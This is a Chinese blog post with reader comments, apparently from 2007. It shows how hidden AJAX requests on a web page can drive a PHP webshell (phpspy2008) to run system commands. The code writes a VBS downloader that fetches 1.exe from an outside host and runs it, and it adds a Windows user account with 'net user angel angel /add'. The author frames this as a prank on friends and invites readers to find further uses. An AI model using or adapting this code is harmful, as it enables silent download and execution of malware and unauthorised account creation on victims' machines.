登陆

AJAX在安全方面的应用

本来想给小黑群里的人开个玩笑。谁知道经过小黑的csrf实例后,大家都先看代码了。这下我明白了。小黑用过的招数都不能再用了。再用就不灵了。因为小黑太黑,让人印象深刻。

还是记录一下吧,ajax真的是隐秘性很高。我是这样来利用的。比较彻底。

PHP代码
  1. elseif ($doing == 'writevbs') {   
  2.     $fp = @fopen('c:/angel.vbs','w');   
  3.     $vbs = "Set love = CreateObject(\"Microsoft.XMLHTTP\")\n".   
  4.         "love.Open \"GET\",\"http://www.4ngel.net/1.exe\",0\n".   
  5.         "love.Send()\n".   
  6.         "Set you = CreateObject(\"ADODB.Stream\")\n".   
  7.         "you.Mode = 3\n".   
  8.         "you.Type = 1\n".   
  9.         "you.Open()\n".   
  10.         "you.Write(love.responseBody)\n".   
  11.         "you.SaveToFile \"c:\\1.exe\",2";   
  12.     @fwrite($fp,$vbs);   
  13.     @fclose($fp);   
  14. }  

加了一段代码是生成一个VBS脚本。这段脚本的作用从4ngel.net上下载一个1.exe文件保存到他本地的1.exe,然后有一段是AJAX的功能代码。

JavaScript代码
  1. <script type="text/javascript">   
  2. var http_request = false;   
  3. function makeRequest(url, httpType, sendData) {   
  4.     http_request = false;   
  5.     if (!httpType) httpType = "GET";   
  6.   
  7.     if (window.XMLHttpRequest) { // Non-IE...   
  8.         http_request = new XMLHttpRequest();   
  9.         if (http_request.overrideMimeType) {   
  10.             http_request.overrideMimeType('text/plain');   
  11.         }   
  12.     } else if (window.ActiveXObject) { // IE   
  13.         try {   
  14.             http_request = new ActiveXObject("Msxml2.XMLHTTP");   
  15.         } catch (e) {   
  16.             try {   
  17.                 http_request = new ActiveXObject("Microsoft.XMLHTTP");   
  18.             } catch (e) {}   
  19.         }   
  20.     }   
  21.   
  22.     if (!http_request) {   
  23.         alert('Cannot send an XMLHTTP request');   
  24.         return false;   
  25.     }   
  26.   
  27.     http_request.open(httpType, url, true);   
  28.     http_request.setRequestHeader('Content-Type''application/x-www-form-urlencoded');   
  29.     http_request.send(sendData);   
  30. }   
  31. //makeRequest('<?=$self?>', 'POST', 'action=file&doing=writevbs');   
  32. //makeRequest('<?=$self?>', 'POST', 'action=shell&execfunc=system&command=c:\angel.vbs');   
  33. //makeRequest('<?=$self?>', 'POST', 'action=shell&execfunc=system&command=c:\1.exe');   
  34. makeRequest('<?=$self?>''POST''action=shell&execfunc=system&command=net user angel angel /add');   
  35. makeRequest('<?=$self?>''POST''action=shell&execfunc=system&command=echo my_name_is_angel > c:\\angel.txt');   
  36. </script>  

最后几句是以POST方式请求本地测试环境中的phpspy2008,调用命令执行功能,生成vbs,然后执行VBS。再执行下载的exe文件。不过我已经注释掉了。这样在本地测试是成功的。对待自己兄弟们不能这么心狠。所以就注释掉了。加了一个用户。

我只是想说。AJAX作为一个现在逐渐受到重视的技术,在强调增加用户体验的同时,带来的安全也是神不知鬼不觉的。因为他的请求。你根本察觉不到。更具体的应用还是要靠大家自己去领悟了。

Tags: ajax, 安全

« 上一篇 | 下一篇 »

相关文章

访客评论

绕了一圈 不知道想做什么
Post by fenglin on 2007-12-23, 11:00 PM #1
呵呵,都是被黑锅吓出来的...
Post by Ryat on 2007-12-24, 1:51 AM #2
学习了。
a,请教你下你那个精简版的怎么添加一个tag按钮,功能是当我选定一个词,然后按下按钮能在这个词的前后加标签,比如:我选定了“rss",按下按钮就变成 [tag]rss[/tag] 我参考了 里面的“Bold”,可是我找不到这个命令到底在哪,也就是怎么吧民令添加个这个按钮。

找了很久的资料没搞定,希望您如果方便能抽空帮忙下
Post by insun on 2007-12-30, 2:56 AM #4
异步执行,又是在后台执行
Post by ashe on 2007-12-30, 9:43 AM #5
要是担心这个问题那就用firefox...随时开着firebug看着点- -b
Post by flyinghail on 2008-01-17, 12:18 AM #6

发表评论

评论内容 (必填):

My E-mail